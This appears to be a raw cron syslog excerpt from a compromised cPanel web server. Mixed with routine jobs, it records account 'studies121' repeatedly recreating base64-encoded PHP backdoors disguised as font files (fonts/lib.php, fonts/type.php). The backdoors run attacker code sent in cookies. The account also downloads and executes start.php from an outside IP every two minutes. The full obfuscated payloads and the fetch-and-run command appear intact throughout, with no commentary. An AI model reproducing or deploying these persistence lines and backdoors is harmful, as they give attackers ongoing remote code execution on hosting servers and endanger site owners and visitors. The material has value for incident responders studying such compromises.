Sep  7 16:17:01 ip-184-168-122-23 CROND[27106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:18:01 ip-184-168-122-23 CROND[27194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:18:01 ip-184-168-122-23 CROND[27195]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:18:01 ip-184-168-122-23 CROND[27198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:18:01 ip-184-168-122-23 CROND[27196]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:18:01 ip-184-168-122-23 CROND[27197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:19:01 ip-184-168-122-23 CROND[27326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:19:01 ip-184-168-122-23 CROND[27328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:19:01 ip-184-168-122-23 CROND[27330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:19:01 ip-184-168-122-23 CROND[27331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:20:01 ip-184-168-122-23 CROND[27499]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 16:20:01 ip-184-168-122-23 CROND[27504]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 16:20:01 ip-184-168-122-23 CROND[27506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:20:01 ip-184-168-122-23 CROND[27508]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 16:20:01 ip-184-168-122-23 CROND[27507]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:20:01 ip-184-168-122-23 CROND[27509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:20:01 ip-184-168-122-23 CROND[27505]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 16:20:01 ip-184-168-122-23 CROND[27503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:20:01 ip-184-168-122-23 CROND[27510]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:21:01 ip-184-168-122-23 CROND[27715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:21:01 ip-184-168-122-23 CROND[27716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:21:01 ip-184-168-122-23 CROND[27718]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:21:01 ip-184-168-122-23 CROND[27717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:22:01 ip-184-168-122-23 CROND[27976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:22:01 ip-184-168-122-23 CROND[27978]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:22:01 ip-184-168-122-23 CROND[27981]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:22:01 ip-184-168-122-23 CROND[27979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:22:01 ip-184-168-122-23 CROND[27980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:23:01 ip-184-168-122-23 CROND[28071]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:23:01 ip-184-168-122-23 CROND[28072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:23:01 ip-184-168-122-23 CROND[28074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:23:01 ip-184-168-122-23 CROND[28073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:24:02 ip-184-168-122-23 CROND[28333]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:24:02 ip-184-168-122-23 CROND[28332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:24:02 ip-184-168-122-23 CROND[28334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:24:02 ip-184-168-122-23 CROND[28335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:24:02 ip-184-168-122-23 CROND[28336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:25:01 ip-184-168-122-23 CROND[28559]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:25:01 ip-184-168-122-23 CROND[28561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:25:01 ip-184-168-122-23 CROND[28562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:25:01 ip-184-168-122-23 CROND[28564]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  7 16:25:01 ip-184-168-122-23 CROND[28563]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 16:25:01 ip-184-168-122-23 CROND[28565]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 16:25:01 ip-184-168-122-23 CROND[28566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:26:01 ip-184-168-122-23 CROND[28789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:26:01 ip-184-168-122-23 CROND[28788]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:26:01 ip-184-168-122-23 CROND[28791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:26:01 ip-184-168-122-23 CROND[28790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:26:01 ip-184-168-122-23 CROND[28792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:27:01 ip-184-168-122-23 CROND[28892]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:27:01 ip-184-168-122-23 CROND[28893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:27:01 ip-184-168-122-23 CROND[28895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:27:01 ip-184-168-122-23 CROND[28894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:28:02 ip-184-168-122-23 CROND[29052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:28:02 ip-184-168-122-23 CROND[29055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:28:02 ip-184-168-122-23 CROND[29053]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:28:02 ip-184-168-122-23 CROND[29054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:28:02 ip-184-168-122-23 CROND[29057]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:29:01 ip-184-168-122-23 CROND[29320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:29:01 ip-184-168-122-23 CROND[29323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:29:01 ip-184-168-122-23 CROND[29322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:29:01 ip-184-168-122-23 CROND[29326]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
